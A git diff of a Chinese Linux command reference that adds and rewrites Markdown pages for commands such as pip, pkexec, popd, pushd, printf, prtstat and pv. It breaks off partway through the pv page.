编程语言中的包管理器,用于安装和管理第三方 Python 模块 + +## 语法 + +```bash +pip <命令> [选项] +``` + +## 选项 + +命令 + +```bash +install 安装包。 +download 下载包。 +uninstall 卸载包。 +freeze 以requirements格式输出已安装的包。 +inspect 检查 Python 环境。 +list 列出已安装的包。 +show 显示有关已安装包的信息。 +check 验证已安装的包是否具有兼容的依赖关系。 +config 管理本地和全局配置。 +search 在 PyPI 搜索包。 +cache 检查和管理 pip 的wheel缓存。 +index 检查从软件包索引中获取的信息。 +wheel 从你的要求构建wheels。 +hash 计算包存档的哈希值。 +completion 用于命令完成的辅助命令。 +debug 显示用于调试的有用信息。 +help 显示命令的帮助信息。 +``` + +通用选项 + +```bash +-h, --help 显示帮助。 +--debug 允许未处理的异常传播到主要子例程之外,而不是将其记录到stderr。 +--isolated 在隔离模式下运行 pip,忽略环境变量和用户配置。 +--require-virtualenv 允许 pip 仅在虚拟环境中运行;否则退出并显示错误。 +--python 使用指定的 Python 解释器运行 pip。 +-v, --verbose 提供更多输出。该选项是可叠加的,最多可使用3次。 +-V, --version 显示版本并退出。 +-q, --quiet 提供更少的输出。该选项是可叠加的,最多可使用3次(对应 WARNING、ERROR 和 CRITICAL 日志级别)。 +--log 要附加日志的路径。 +--no-input 禁用输入提示。 +--keyring-provider + 如果允许用户输入,则启用通过 keyring 库进行凭据查找。指定要使用的机制[disabled, import, subprocess]。(默认: disabled) +--proxy 指定代理,格式为 scheme://[user:passwd@]proxy.server:port。 +--retries 每个连接应尝试的最大次数(默认5次)。 +--timeout 设置套接字超时(默认15秒)。 +--exists-action 当路径已经存在时的默认操作:(s)切换,(i)忽略,(w)擦除,(b)备份,(a)中止。 +--trusted-host 将此主机或主机:端口对标记为可信,即使它没有有效或任何 HTTPS。 +--cert PEM编码的CA证书包的路径。如果提供,将覆盖默认值。有关更多信息,请参阅 pip 文档中的 'SSL证书验证'。 +--client-cert SSL客户端证书的路径,一个包含私钥和PEM格式的证书的单个文件。 +--cache-dir

中存储缓存数据。 +--no-cache-dir 禁用缓存。 +--disable-pip-version-check + 不定期检查 PyPI 是否有可下载的 pip 新版本。与 --no-index 隐含。 +--no-color 抑制有色输出。 +--no-python-version-warning + 对即将不受支持的 Python 沉默弃用警告。 +--use-feature 启用可能不向后兼容的新功能。 +--use-deprecated 启用在将来将被删除的已弃用功能。 +``` + +### 安装 + +Pip 是 Python 的包管理工具,通常随着 Python 的安装一起安装。确保你的 Python 版本是 3.4 或更高版本。 + +```bash +# Ubuntu系统 +sudo apt install python3-pip +``` + +```bash +# CentOS +sudo yum install python3-pip +``` + +如果需要更新 Pip,可以运行以下命令: + +```bash +python -m pip install --upgrade pip +``` + +检查 `pip` 是否已安装 + +```bash +pip --version +``` + +确保您使用的是最新版本的 `pip`,您可以运行以下命令来**升级** + +```bash +python -m pip install --upgrade pip +``` + +## 安装包 + +通过 Pip 安装 Python 包非常简单。使用以下命令: + +```bash +pip install +``` + +例如,安装一个名为 `requests` 的包: + +```bash +pip install requests +``` + +## 卸载包 + +要卸载已安装的包,使用以下命令: + +```bash +pip uninstall package_name +``` + +例如,卸载 `requests` 包: + +```bash +pip uninstall requests +``` + +## 查看已安装的包 + +你可以使用以下命令查看当前环境中已安装的所有包及其版本: + +```bash +pip list +``` + +## 导出和导入依赖关系 + +使用 `pip freeze` 命令可以将当前环境中的所有包及其版本导出到一个文本文件,通常命名为 `requirements.txt`: + +```bash +pip freeze > requirements.txt +``` + +要在另一个环境中安装相同的依赖,可以使用以下命令: + +```bash +pip install -r requirements.txt +``` + +## 安装特定版本的包 + +如果需要安装特定版本的包,可以在包名后面添加版本号: + +```bash +pip install package_name==1.2.3 +``` + +## 搜索包 + +要搜索可用的 Python 包,可以使用 `pip search` 命令: + +```bash +pip search package_name +``` + +## 安装开发版本 + +有时你可能需要安装包的开发版本。通常,开发版本存储在版本控制系统中(如 GitHub): + +```bash +pip install git+https://github.com/user/repo.git +``` + +这将安装存储库的最新版本。 + +以上是一些常用的 Pip 命令,希望这个简要教程能够帮助你更好地使用 Python 包管理工具。 + +## 官网 + +更多安装使用方法可以访问官网学习:[https://pypi.org/project/pip/](https://pypi.org/project/pip/) diff --git a/command/pkexec.md b/command/pkexec.md new file mode 100644 index 00000000000..ec7ad702fe4 --- /dev/null +++ b/command/pkexec.md @@ -0,0 +1,77 @@ +pkexec +=== + +以其他用户身份执行命令 + +## 补充说明 + +**pkexec** 允许授权用户以另一个用户的身份执行 PROGRAM。如果未指定 +PROGRAM,则将运行默认 shell。如果未指定用户名,则程序将以管理超级用户 root +的身份执行。 + +### 语法 + +```shell +pkexec [--version] [--disable-internal-agent] [--help] +pkexec [--keep-cwd] [--user username] PROGRAM [ARGUMENTS...] +``` + +### 选项 + +```shell +PROGRAM 运行的程序 +ARGUMENTS... 传递给程序的参数 + +--version 输出版本号然后退出 +--disable-internal-agent 避免将注册自己的文本身份验证代理 +--help 输出帮助文本然后退出 +--keep-cwd 运行位置,默认在 /home// +--user 需要运行的用户名 +``` + +### 返回值 + +成功完成后,返回值为 PROGRAM 的返回值。 + +- `127`: 在未获得授权或者身份验证发生错误 +- `126`: 用户关闭身份验证对话框而无法获得授权 + +### 示例 + +1. 运行具有管理员权限的命令: + +``` +pkexec command +``` + +将 `command` 替换为你要以管理员权限运行的命令。例如,`pkexec ls` 将以管理员权限运行 `ls` 命令。 + +2. 以图形界面运行具有管理员权限的命令: + +``` +pkexec env DISPLAY=$DISPLAY XAUTHORITY=$XAUTHORITY command +``` + +这个命令用于在图形界面中运行需要管理员权限的命令。将 `command` 替换为你要以管理员权限运行的命令。 + +3. 运行具有特定身份验证代理的命令: + +``` +pkexec --user username command +``` + +将 `username` 替换为你要作为哪个用户运行命令的用户名,将 `command` 替换为你要运行的命令。 + +4. 查看 `pkexec` 的帮助信息: + +``` +pkexec --help +``` + +这个命令将显示 `pkexec` 的使用说明和选项列表。 + +请注意,使用 `pkexec` 运行命令时,系统会提示你输入管理员密码进行身份验证。确保只在必要时使用 `pkexec` 来运行需要管理员权限的命令,并小心谨慎地处理管理员权限。 + +### 参考资料 + +- https://man.archlinux.org/man/pkexec.1.en diff --git a/command/pkill.md b/command/pkill.md index ff58f2066a5..59f6e0230aa 100644 --- a/command/pkill.md +++ b/command/pkill.md @@ -7,13 +7,13 @@ pkill **pkill命令** 可以按照进程名杀死进程。pkill和killall应用方法差不多,也是直接杀死运行中的程序;如果您想杀掉单个进程,请用kill来杀掉。 -### 语法 +### 语法 ```shell pkill(选项)(参数) ``` -### 选项 +### 选项 ```shell -o:仅向找到的最小(起始)进程号发送信号; @@ -23,11 +23,11 @@ pkill(选项)(参数) -t:指定开启进程的终端。 ``` -### 参数 +### 参数 进程名称:指定要查找的进程名称,同时也支持类似grep指令中的匹配模式。 -### 实例 +### 实例 ```shell pgrep -l gaim @@ -39,4 +39,3 @@ pkill gaim 也就是说:kill对应的是PID,pkill对应的是command。 - \ No newline at end of file diff --git a/command/pmap.md b/command/pmap.md index 19940041791..ed1e846493c 100644 --- a/command/pmap.md +++ b/command/pmap.md @@ -7,13 +7,13 @@ pmap **pmap命令** 用于报告进程的内存映射关系,是Linux调试及运维一个很好的工具。 -### 语法 +### 语法 ```shell pmap(选项)(参数) ``` -### 选项 +### 选项 ```shell -x:显示扩展格式; @@ -22,11 +22,11 @@ pmap(选项)(参数) -V:显示指定版本。 ``` -### 参数 +### 参数 进程号:指定需要显示内存映射关系的进程号,可以是多个进程号。 -### 实例 +### 实例 ```shell pidof nginx @@ -121,4 +121,3 @@ total kB 72880 22940 22000 ``` - \ No newline at end of file diff --git a/command/popd.md b/command/popd.md index 5cb4b4157aa..d474805cc0a 100644 --- a/command/popd.md +++ b/command/popd.md @@ -1,41 +1,79 @@ popd === -用于删除目录栈中的记录 +从目录堆栈中删除目录。 -## 补充说明 +## 概要 -**popd命令** 用于删除目录栈中的记录;如果popd命令不加任何参数,则会先删除目录栈最上面的记录,然后切换到删除过后的目录栈中的最上面的目录。 +```shell +popd [-n] [+N | -N] +``` + +## 主要用途 + +- 从目录堆栈中删除目录,如果是顶部目录被删除,那么当前工作目录会切换到新的顶部目录。 -### 语法 +- 没有参数时,删除目录堆栈顶部。 + +## 选项 ```shell -pushd(选项)(参数) +-n 抑制删除目录引起的当前工作目录变化。 ``` -### 选项 +## 参数 + ++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将被删除。(从0开始计数) + +-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将被删除。(从0开始计数) + + +## 返回值 + +返回成功除非提供了非法选项或执行出现错误。 + +## 例子 ```shell -+N:将第N个目录删除(从左边数起,数字从0开始); --N:将第N个目录删除(从右边数起,数字从0开始); --n:将目录出栈时,不切换目录。 -``` +# 添加目录到堆栈,当前工作目录不变。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ pushd -n ~/Pictures +~ ~/Pictures ~/Desktop +[user2@pc ~]$ pushd -n ~/bin +~ ~/bin ~/Pictures ~/Desktop -### 实例 +# 从目录堆栈中删除目录,删除顶部目录时会改变当前工作目录: +[user2@pc ~]$ popd -2 +~ ~/Pictures ~/Desktop +[user2@pc ~]$ popd +1 +~ ~/Desktop +[user2@pc ~]$ popd +~/Desktop +[user2@pc Desktop]$ +``` ```shell -root@Mylinux:/tmp/dir4# popd(相当于popd +0) -/tmp/dir3 /tmp/dir2 /tmp/dir1 ~ +# 从目录堆栈中删除目录,删除顶部目录时不会改变当前工作目录: +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ popd -n +~ +[user2@pc ~]$ +``` -root@Mylinux:/tmp/dir3# pushd /tmp/dir4 -/tmp/dir4 /tmp/dir3 /tmp/dir2 /tmp/dir1 ~ +### 注意 -root@Mylinux:/tmp/dir4# popd +1 -/tmp/dir4 /tmp/dir2 /tmp/dir1 ~ +1. `bash`的目录堆栈命令包括`dirs popd pushd`。 +2. 当前目录始终是目录堆栈的顶部。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 -root@Mylinux:/tmp/dir4# popd -2 -/tmp/dir4 /tmp/dir1 ~ -``` +### 参考链接 + +- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option) - \ No newline at end of file diff --git a/command/poweroff.md b/command/poweroff.md index fd0cef444ca..50f8665f282 100644 --- a/command/poweroff.md +++ b/command/poweroff.md @@ -1,21 +1,21 @@ poweroff === -关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中。 +关闭Linux系统,关闭记录会被写入到/var/log/wtmp日志文件中 ## 补充说明 **grename命令** 可以重命名卷组的名称。 -### 语法 +### 语法 -```shel +```shell poweroff [选项] ``` -### 选项 +### 选项 -```shel +```shell -n 关闭之前不同步 -p 当被称为halt时关闭电源 -v 增加输出,包括消息 @@ -32,4 +32,4 @@ poweroff [选项] [root@localhost ~]# poweroff ``` - + diff --git a/command/ppp-off.md b/command/ppp-off.md index 92c858890c7..15b862ea794 100644 --- a/command/ppp-off.md +++ b/command/ppp-off.md @@ -7,11 +7,10 @@ ppp-off 这是Slackware发行版内附的程序,让用户切断PPP的网络连线。 -### 语法 +### 语法 ```shell ppp-off ``` - \ No newline at end of file diff --git a/command/pr.md b/command/pr.md index 7efc0885264..35c8e637b53 100644 --- a/command/pr.md +++ b/command/pr.md @@ -7,22 +7,44 @@ pr **pr命令** 用来将文本文件转换成适合打印的格式,它可以把较大的文件分割成多个页面进行打印,并为每个页面添加标题。 -### 语法 +### 语法 ```shell pr(选项)(参数) ``` -### 选项 +### 选项 ```shell +-e<制表符[宽度]>(--expand-tabs=<制表符[宽度]>):将制表符(或制表符)转换为空格.如果指定了宽度,则将制表符转换为宽度字符,默认为8; -h<标题>:为页指定标题; --l<行数>:指定每页的行数。 +-i(--output-tabs):在输出中用制表符替换空格,可以指定替代制表符(默认为制表符)和宽度(默认为8); +-l<行数>:指定每页的行数; +-n<分隔符[数字]>:对列进行编号,或者使用 -m 选项对行进行编号,将分隔符附加到每个数字默认为制表符并限制数字的大小,默认为5; +-o<宽度>:为左边距设置宽度; +-s<分隔符>(--separator<分隔符>):使用指定的分隔符(默认为制表符)而不是空格分隔列; +-S<字符串>(--sep-string<字符串>):使用指定的字符串(默认为-J的制表符)或者是一个空格分隔列; +-w<页面宽度>:设置页面宽度以进行多列输出,默认为72; +-W<页面宽度>:设置页面宽度为固定值,默认为72; +-J(--join-lines):合并整行,忽略 -W 如果设置; +-num_cols:num_cols是一个整数,为一页有n行的文件打印指定num_cols列; +-m(--merge):打印所有文件,每列一个文件。 +-f(-F)(--form-feed):用换页符替代换行符; +-r(--no-file-warnings):无法打开输入文件时静默; +-t:限制页眉,页脚与页尾的填充; +-T(--omit-pagination):类似于-t,但也限制换页; +-v(--show-non-printing):将不可打印的字符转换为八进制反斜杠格式; +-d:双倍行距; +-a(--across):交错打印,即水平打印,而非纵向打印; +-c(--show-control-chars):将控制字符转换为帽子符号(例如 ^C),将其他不可打印的字符转换为八进制反斜杠格式; +--help:打印帮助信息并退出; +--version:打印版本信息并退出. + + ``` -### 参数 +### 参数 文件:需要转换格式的文件。 - \ No newline at end of file diff --git a/command/printf.md b/command/printf.md index d5f01165d85..29660b426be 100644 --- a/command/printf.md +++ b/command/printf.md @@ -1,71 +1,189 @@ printf === -格式化并输出结果 +格式化并输出结果。 -## 补充说明 +## 目录 -**printf命令** 格式化并输出结果到标准输出。 +- [bash内建命令](#内建命令) +- [GNU coreutils中的命令](#外部命令) -### 语法 +## 内建命令 + +#### 概要 + +```shell +printf [-v var] format [arguments] +``` + +#### 主要用途 + +- 格式化参数并输出。 + +#### 选项 ```shell -printf(选项)(参数) ---help:在线帮助; ---version:显示版本信息。 +-v var:将结果输出到变量var中而不是输出到标准输出。 ``` -### 参数 - -* 输出格式:指定数据输出时的格式; -* 输出字符串:指定要输出的数据。 - - **格式替代符** - -* %b 相对应的参数被视为含有要被处理的转义序列之字符串。 -* %c ASCII字符。显示相对应参数的第一个字符 -* %d, %i 十进制整数 -* %e, %E, %f 浮点格式 -* %g %e或%f转换,看哪一个较短,则删除结尾的零 -* %G %E或%f转换,看哪一个较短,则删除结尾的零 -* %o 不带正负号的八进制值 -* %s 字符串 -* %u 不带正负号的十进制值 -* %x 不带正负号的十六进制值,使用a至f表示10至15 -* %X 不带正负号的十六进制值,使用A至F表示10至15 -* %% 字面意义的% - - **转义序列** - -* \a 警告字符,通常为ASCII的BEL字符 -* \b 后退 -* \c 抑制(不显示)输出结果中任何结尾的换行字符(只在%b格式指示符控制下的参数字符串中有效),而且,任何留在参数里的字符、任何接下来的参数以及任何留在格式字符串中的字符,都被忽略 -* \f 换页(formfeed) -* \n 换行 -* \r 回车(Carriage return) -* \t 水平制表符 -* \v 垂直制表符 -* \\ 一个字面上的反斜杠字符 -* \ddd 表示1到3位数八进制值的字符,仅在格式字符串中有效 -* \0ddd 表示1到3位的八进制值字符 - -### 实例 +#### 参数 + +format:输出格式。 + +arguments:一到多个参数。 ```shell -printf "hello world" +转义序列:除了支持printf(1)和printf(3)的转义序列,内建printf还支持以下转义序列: + +%b 展开参数中的反斜杠转义字符。 +%q 将参数扩起以用作shell输入。 +%(fmt)T 根据strftime(3)中的转义字符来输出日期时间字符串。 ``` +#### 返回值 + +返回状态为成功除非给出了非法选项、写错误、赋值错误。 + +#### 例子 + ```shell -#!/bin/bash +# %-5s 格式为左对齐且宽度为5的字符串代替('-'表示左对齐),不使用则默认右对齐。 +# %-4.2f 格式为左对齐宽度为4,保留两位小数。 printf "%-5s %-10s %-4s\n" NO Name Mark printf "%-5s %-10s %-4.2f\n" 01 Tom 90.3456 printf "%-5s %-10s %-4.2f\n" 02 Jack 89.2345 printf "%-5s %-10s %-4.2f\n" 03 Jeff 98.4323 + +# 输出 +NO Name Mark +01 Tom 90.35 +02 Jack 89.23 +03 Jeff 98.43 + + +# %b %q %(fmt)T 的例子。 +# see it again with a newline. +printf "%s\n" 'hello world' +# 展开换行符,和上面的结果一样。 +printf "%b" 'hello world\n' + +printf '%q\n' 'a b c' +# 输出 +a\ b\ c + +# %z为时区,%n为换行符。 +printf "%(%F %T %z%n)T" +# 输出 +2019-09-10 01:48:07 +0000 +``` + +#### 注意 + +1. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + + +## 外部命令 + +#### 概要 + +```shell +printf FORMAT [ARGUMENT]... +printf OPTION +``` + +#### 主要用途 + +- 格式化参数并输出。 + + +#### 选项 + +```shell +--help 显示帮助信息并退出。 +--version 显示版本信息并退出。 +``` + +#### 参数 + +format:输出格式。 + +arguments:一到多个参数。 + +```shell +在这里忽略了(%b %q),如果你安装的coreutils版本支持它们,那么请参考上面的例子。 +支持的转义序列: + +\" 双引号 +\\ 反斜杠 +\a 响铃 +\b 退格 +\c 截断输出 +\e 退出 +\f 翻页 +\n 换行 +\r 回车 +\t 水平制表符 +\v 竖直制表符 +\NNN 八进制数 (1到3位数字) +\xHH 十六进制数 (1到2位数字) +\uHHHH Unicode字符附加4位十六进制数字 +\UHHHHHHHH Unicode字符附加8位十六进制数字 +%% 百分号 + +以及'diouxXfeEgGcs'中的一个结尾的C格式规范,将被转换为正确的类型并处理可变宽度。 +``` + +#### 例子 + +```shell +# 使用 /usr/bin/printf 确保调用的不是内建命令。 +# 当然,在你关闭内建printf以及确认当前环境没有printf函数的情况下,可直接使用printf,详见末尾"注意"的链接。 + +# 按行打印数组和关联数组的下标及值。 + +# 声明数组可以不加'declare -a'或'local -a'(在函数内声明的局部变量)。 +arr=('line1' 'line2') +/usr/bin/printf "%s\n" ${!arr[@]} +# 输出下标 +0 +1 +/usr/bin/printf "%s\n" ${arr[@]} +# 输出值 +line1 +line2 + +#声明关联数组(也就是字典)必须加'declare -A'或'local -A'(在函数内声明的局部变量)。 +declare -A assoc_arr=(['key1']='value1' ['key2']='value2') +/usr/bin/printf "%s\n" ${!assoc_arr[@]} +# 输出键。 +key2 +key1 +/usr/bin/printf "%s\n" ${assoc_arr[@]} +# 输出值。 +value2 +value1 ``` -* %-5s 格式为左对齐且宽度为5的字符串代替(-表示左对齐),不使用则是又对齐。 -* %-4.2f 格式为左对齐宽度为4,保留两位小数。 +#### 返回值 + +返回状态为成功除非给出了非法选项等。 + +#### 注意 + +1. 该命令是`GNU coreutils`包中的命令,相关的帮助信息请查看`man -s 1 printf`或`info coreutils 'pwd invocation'`。 + +2. 启动或关闭内建命令请查看`enable`命令,关于同名优先级的问题请查看`builtin`命令的例子部分的相关讨论。 + +3. 我通过和`bug-bash@gnu.org`的交流,得到了关于这几个格式说明符`%b %q %(fmt)T`的解释: + > printf(1)中的%b格式说明符是printf(3)支持的格式之外增加的一个POSIX特性。 + > + > %q和%T说明符是非标准的,并且不受所有独立实现的printf的支持。 + + 更多细节请参考链接: + - [POSIX printf](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/printf.html) + `APPLICATION USAGE`段落的第五节。 + - [POSIX printf格式说明符](https://pubs.opengroup.org/onlinepubs/9699919799/functions/printf.html) + 的`Description`段落。 - \ No newline at end of file diff --git a/command/protoize.md b/command/protoize.md index 39d49360f4a..9365736874b 100644 --- a/command/protoize.md +++ b/command/protoize.md @@ -7,22 +7,21 @@ GNU-C代码转换为ANSI-C代码 **protoize命令** 属于gcc套件,用于为C语言源代码文件添加函数原型,将GNU-C代码转换为ANSI-C代码。 -### 语法 +### 语法 ```shell protoize(选项)(参数) ``` -### 选项 +### 选项 ```shell -d:设置需要转换代码的目录; -x:转换代码时排除的文件。 ``` -### 参数 +### 参数 文件:需要转换代码的C语言源文件。 - \ No newline at end of file diff --git a/command/prtstat.md b/command/prtstat.md new file mode 100644 index 00000000000..daca42fc63b --- /dev/null +++ b/command/prtstat.md @@ -0,0 +1,51 @@ +prtstat +=== + +显示进程信息 + +## 补充说明 + +**prtstat命令**打印指定进程的统计信息。这个信息来自/proc/PID/stat文件。 + +## 语法 + +```shell +prtstat [-r|--raw] pid +prtstat -V|--version +``` + +## 例子 + +```shell +[root@localhost command]# ps -ef|grep nginx +root 4022 250867 0 16:39 pts/1 00:00:00 grep --color=auto nginx +root 224312 1 0 4月26 ? 00:00:00 nginx: master process /var/openresty/nginx/sbin/nginx +nobody 224313 224312 0 4月26 ? 00:00:00 nginx: worker process +[root@localhost command]# prtstat -r 224312 + pid: 224312 comm: nginx + state: S ppid: 1 + pgrp: 224312 session: 224312 + tty_nr: 0 tpgid: -1 + flags: 402040 minflt: 110 + cminflt: 0 majflt: 0 + cmajflt: 0 utime: 0 + stime: 0 cutime: 0 + cstime: 0 priority: 20 + nice: 0 num_threads: 1 + itrealvalue: 0 starttime: 6271470 + vsize: 56369152 rss: 413 + rsslim: 18446744073709551615 startcode: 4194304 + endcode: 5772276 startstack: 140722783765648 + kstkesp: 7FFC9389BFB8 kstkeip: 7F25CD42F6C6 + wchan: 18446744071885754297 nswap: 0 + cnswap: 18446744071885754297 exit_signal: 17 + processor: 2 rt_priority: 0 + policy: 0 delayaccr_blkio_ticks: 0 + guest_time: 0 cguest_time: 0 +``` + +### 注意 + +1. `prtstat`命令来自于psmisc包。此包来自于base源仓库。 +2. psmisc.x86_64 : 用于管理系统上进程的实用程序 + diff --git a/command/ps.md b/command/ps.md index 818d03c460b..2cb8c1d9cdd 100644 --- a/command/ps.md +++ b/command/ps.md @@ -187,4 +187,4 @@ ps -aux > ps001.txt 输出指定的字段 - + diff --git a/command/pssh.md b/command/pssh.md index 78aacc5ae5f..4a7ef643242 100644 --- a/command/pssh.md +++ b/command/pssh.md @@ -7,7 +7,7 @@ pssh **pssh命令** 是一个python编写可以在多台服务器上执行命令的工具,同时支持拷贝文件,是同类工具中很出色的,类似pdsh,个人认为相对pdsh更为简便,使用必须在各个服务器上配置好密钥认证访问。 -### 安装pssh +### 安装pssh 在CentOS系统环境下,介绍yum的安装和源码安装的方式: @@ -26,7 +26,7 @@ cd pssh-2.3.1/ python setup.py install ``` -### 选项 +### 选项 ```shell --version:查看版本 @@ -47,7 +47,7 @@ python setup.py install -P:打印出服务器返回信息 ``` -### 实例 +### 实例 获取每台服务器的uptime: @@ -103,4 +103,3 @@ python setup.py install 上面介绍的是pssh命令很少的一部分,大家可以将其用到适合自己的场景,发挥它的最大功效。 - \ No newline at end of file diff --git a/command/pstack.md b/command/pstack.md index 29157ebd7b9..0d002c07788 100644 --- a/command/pstack.md +++ b/command/pstack.md @@ -9,7 +9,7 @@ pstack 命令软件包下载地址:https://packages.debian.org/sid/pstack -### 实例 +### 实例 pstree以树结构显示进程 @@ -98,4 +98,3 @@ Thread 1 (Thread 182894129792 (LWP 4551)): ``` - \ No newline at end of file diff --git a/command/pstree.md b/command/pstree.md index ce827fa3a18..b6970dd406b 100644 --- a/command/pstree.md +++ b/command/pstree.md @@ -7,13 +7,13 @@ pstree **pstree命令** 以树状图的方式展现进程之间的派生关系,显示效果比较直观。 -### 语法 +### 语法 ```shell pstree(选项) ``` -### 选项 +### 选项 ```shell -a:显示每个程序的完整指令,包含路径,参数或是常驻服务的标示; @@ -29,7 +29,7 @@ pstree(选项) -V:显示版本信息。 ``` -### 实例 +### 实例 显示当前所有进程的进程号和进程id @@ -39,7 +39,7 @@ pstree -p 显示所有进程的所有详细信息,遇到相同的进程名可以压缩显示。 -```shellbash +```shell pstree -a ``` @@ -55,4 +55,4 @@ pstree -p | grep ssh 从上方的输出中,你可以看到 sshd 进程与分支的树形图。sshd 的主进程是 sshd(1221),另两个分支分别为 sshd(2768) 和 sshd(2807)。 - + diff --git a/command/pushd.md b/command/pushd.md index 155f24d155d..5811a361a31 100644 --- a/command/pushd.md +++ b/command/pushd.md @@ -1,44 +1,77 @@ pushd === -将目录加入命令堆叠中 +将目录添加到目录堆栈顶部。 -## 补充说明 - -**pushd命令** 是将目录加入命令堆叠中。如果指令没有指定目录名称,则会将当前的工作目录置入目录堆叠的最顶端。置入目录如果没有指定堆叠的位置,也会置入目录堆叠的最顶端,同时工作目录会自动切换到目录堆叠最顶端的目录去。 - -### 语法 +## 概要 ```shell -pushd(选项)(参数) +pushd [-n] [+N | -N | dir] ``` -### 选项 +## 主要用途 + +- 将目录添加到目录堆栈顶部,切换当前工作目录到该目录。 + +- 旋转目录堆栈,使堆栈的新顶部成为当前工作目录。 + +- 没有参数时,交换目录堆栈的前两个目录。 + +## 选项 ```shell --n:只加入目录到堆叠中,不进行cd操作; -+n:删除从左到右的第n个目录,数字从0开始; --n:删除从右到左的第n个目录,数字从0开始; +-n 抑制添加目录引起的当前工作目录变化。 ``` -### 参数 +## 参数 -目录:需要压入堆栈的目录。 ++N(可选):不带参数执行`dirs`命令显示的列表中,左起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) -### 实例 +-N(可选):不带参数执行`dirs`命令显示的列表中,右起的第N个目录将作为堆栈顶部,在它前面的会移动到底部。(从0开始计数) -```shell -root@Mylinux:/tmp/dir4# pushd /tmp/dir3 -/tmp/dir3 /tmp/dir4 /tmp/dir1 ~ +dir(可选):要推送的目录。 + +## 返回值 -root@Mylinux:/tmp/dir3# pushd /tmp/dir2 -/tmp/dir2 /tmp/dir3 /tmp/dir4 /tmp/dir1 ~ +返回成功除非提供了非法选项或执行出现错误。 -root@Mylinux:/tmp/dir2# pushd -1 -/tmp/dir1 ~ /tmp/dir2 /tmp/dir3 /tmp/dir4 +## 例子 + +```shell +# 添加目录到堆栈,改变了当前工作目录。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd ~/Desktop +~/Desktop ~ +[user2@pc Desktop]$ +``` + +```shell +# 添加目录到堆栈,当前工作目录不变。 +[user2@pc ~]$ dirs +~ +[user2@pc ~]$ pushd -n ~/Desktop +~ ~/Desktop +[user2@pc ~]$ pushd -n ~/Pictures +~ ~/Pictures ~/Desktop + +# 调整顺序。 +[user2@pc ~]$ pushd +1 +~/Pictures ~/Desktop ~ +[user2@pc ~]$ pushd -1 +~/Desktop ~ ~/Pictures +[user2@pc ~]$ pushd +~ ~/Desktop ~/Pictures ``` -注意:最左边表示栈顶,最右边表示栈底。 +### 注意 + +1. `bash`的目录堆栈命令包括`dirs popd pushd`。 +2. 当前目录始终是目录堆栈的顶部。 +3. 该命令是bash内建命令,相关的帮助信息请查看`help`命令。 + +### 参考链接 + +- [popd、pushd命令'-n'选项的行为](https://superuser.com/questions/784450/popd-and-pushd-behavior-with-n-option) - \ No newline at end of file diff --git a/command/pv.md b/command/pv.md index 2778c3d914f..99e1ea29f08 100644 --- a/command/pv.md +++ b/command/pv.md @@ -1,7 +1,7 @@ pv === -显示当前在命令行执行的命令的进度信息,管道查看器。 +显示当前在命令行执行的命令的进度信息,管道查看器 ## 补充说明 @@ -17,59 +17,59 @@ sudo apt-get install pv yum install pv ``` -### 语法 +### 语法 ```shell pv(选项)(参数) pv [OPTION] [FILE]... ``` -### 选项 +### 选项 ```shell --p, --progress show progress bar --t, --timer show elapsed time --e, --eta show estimated time of arrival (completion) --I, --fineta show absolute estimated time of arrival - (completion) --r, --rate show data transfer rate counter --a, --average-rate show data transfer average rate counter --b, --bytes show number of bytes transferred --T, --buffer-percent show percentage of transfer buffer in use --A, --last-written NUM show NUM bytes last written --F, --format FORMAT set output format to FORMAT +-p, --progress 显示进度条 +-t, --timer 显示已用时间 +-e, --eta 显示预计到达时间 (完成) +-I, --fineta 显示绝对估计到达时间 + (完成) +-r, --rate 显示数据传输速率计数器 +-a, --average-rate 显示数据传输平均速率计数器 +-b, --bytes 显示传输的字节数 +-T, --buffer-percent 显示正在使用的传输缓冲区百分比 +-A, --last-written NUM 显示上次写入的字节数 +-F, --format FORMAT 将输出格式设置为FORMAT -n, --numeric 输出百分比 --q, --quiet do not output any transfer information at all - --W, --wait display nothing until first byte transferred --D, --delay-start SEC display nothing until SEC seconds have passed --s, --size SIZE set estimated data size to SIZE bytes --l, --line-mode count lines instead of bytes --0, --null lines are null-terminated --i, --interval SEC update every SEC seconds --w, --width WIDTH assume terminal is WIDTH characters wide --H, --height HEIGHT assume terminal is HEIGHT rows high --N, --name NAME prefix visual information with NAME --f, --force output even if standard error is not a terminal --c, --cursor use cursor positioning escape sequences - --L, --rate-limit RATE limit transfer to RATE bytes per second --B, --buffer-size BYTES use a buffer size of BYTES --C, --no-splice never use splice(), always use read/write --E, --skip-errors skip read errors in input --S, --stop-at-size stop after --size bytes have been transferred --R, --remote PID update settings of process PID - --P, --pidfile FILE save process ID in FILE - --d, --watchfd PID[:FD] watch file FD opened by process PID +-q, --quiet 不输出任何信息 + +-W, --wait 在传输第一个字节之前不显示任何内容 +-D, --delay-start SEC 在SEC秒过去之前不显示任何内容 +-s, --size SIZE 将估算的数据大小设置为SIZE字节 +-l, --line-mode 计算行数而不是字节数 +-0, --null 行以零结尾 +-i, --interval SEC 每SEC秒更新一次 +-w, --width WIDTH 假设终端的宽度为WIDTH个字符 +-H, --height HEIGHT 假设终端高度为HEIGHT行 +-N, --name NAME 在可视信息前面加上名称 +-f, --force 将标准错误输出到终端 +-c, --cursor 使用光标定位转义序列 + +-L, --rate-limit RATE 将传输限制为每秒RATE字节 +-B, --buffer-size BYTES 使用BYTES的缓冲区大小 +-C, --no-splice 从不使用splice(),始终使用读/写 +-E, --skip-errors 跳过输入中的读取错误 +-S, --stop-at-size 传输--size字节后停止 +-R, --remote PID 更新过程PID的设置 + +-P, --pidfile FILE 将进程ID保存在FILE中 + +-d, --watchfd PID[:FD] 监视进程PID,打开的文件FD -h, --help 显示帮助 -V, --version 显示版本信息 ``` -### 实例 +### 实例 我们(在 linux 上使用命令行的用户)的大多数使用场景都会用到的命令是从一个 USB 